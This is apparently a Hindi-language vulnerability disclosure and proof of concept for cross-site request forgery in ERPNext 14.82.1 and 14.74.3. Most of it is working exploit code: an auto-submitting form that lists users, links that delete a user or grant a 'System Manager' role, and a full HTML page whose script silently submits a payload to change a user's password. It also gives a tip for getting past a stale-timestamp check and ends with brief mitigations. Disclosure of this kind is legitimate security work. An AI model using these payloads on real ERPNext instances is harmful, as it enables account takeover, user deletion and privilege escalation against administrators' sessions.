
अवधारणा प्रमाण
एक क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) भेद्यता ERPNext 14.82.1 और 14.74.3 में पाई गई, जो हमलावरों को निम्नलिखित अनधिकृत कार्रवाइयाँ करने की अनुमति देती है:
यह भेद्यता महत्वपूर्ण प्रशासनिक API एंडपॉइंट पर CSRF सुरक्षा की कमी के कारण उत्पन्न होती है। यदि कोई प्रमाणित व्यवस्थापक किसी दुर्भावनापूर्ण वेबसाइट पर जाता है, तो उनके सत्र का दुरुपयोग करके उनकी सहमति के बिना ये कार्रवाइयाँ की जाती हैं।
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
<input type="hidden" name="doctype" value="User">
<input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
<input type="hidden" name="view" value="List">
<input type="hidden" name="page_length" value="100">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
Click to delete user
</a>
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
Add "System Manager" role to user
</a>
💡 पूर्ण JSON पेलोड रेपो में देखें:
/PoCs/privilege_escalation.html
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<script>
function performCSRF() {
// Target API URL
var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs";
// JSON Payload
var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});
var encodedPayload = (jsonPayload);
// Create and submit the form
var form = document.createElement("form");
form.method = "GET";
form.action = targetUrl;
form.enctype = "application/x-www-form-urlencoded";
var input = document.createElement("input");
input.type = "hidden";
input.name = "doc"; // Correct parameter name
input.value = encodedPayload; // Correct encoding
var input2 = document.createElement("input");
input2.type = "hidden";
input2.name = "action"; // Correct parameter name
input2.value = "Save"; // Correct encoding
form.appendChild(input);
form.appendChild(input2);
document.body.appendChild(form);
form.submit();
}
// Execute CSRF after waiting to ensure cookies are set
setTimeout(performCSRF, 3000);
</script>
</body>
</html>
यह चित्र अनुकरण करता है कि व्यवस्थापक किसी दुर्भावनापूर्ण वेबसाइट में प्रवेश करता है:

नोट: यदि संशोधित टाइमस्टैम्प पुराना है तो वेबसाइट यह संदेश दे सकती है:

और इसे बायपास करने के लिए http:// localhost:8080/api/resource/User/[email protected][owner] HTML पेज का उपयोग करें और संशोधित टाइमस्टैम्प लें (PoC को आसान बनाने के लिए)।

इसे पेज सामग्री में नए संस्करण के रूप में बदलें:

एक बार भेजने पर यह उपयोगकर्ता का पासवर्ड बदल देगा!!.

यदि कोई प्रमाणित व्यवस्थापक उपयोगकर्ता इस वेबपेज पर जाता है, तो उनके सत्र का उपयोग बिना किसी उपयोगकर्ता इंटरैक्शन के खाता पासवर्ड बदलने के अनुरोध को निष्पादित करने के लिए किया जाएगा।
एक हमलावर एक दुर्भावनापूर्ण पेज होस्ट करता है। यदि कोई ERPNext व्यवस्थापक लॉग इन रहते हुए इसे देखता है, तो उनका ब्राउज़र स्वचालित रूप से ERPNext पर तैयार अनुरोधों को ट्रिगर करता है, जिससे उनकी जानकारी के बिना खाता संशोधन या विलोपन हो जाता है।
GET अनुरोधों की अनुमति न देंSameSite=Strict के साथ चिह्नित करेंAhmed Thaiban Thvt0ne द्वारा खोजा गया।
यह शोध केवल रक्षात्मक उद्देश्यों के लिए है। इसका उद्देश्य जागरूकता बढ़ाना और सुरक्षित विकास प्रथाओं को प्रोत्साहित करना है।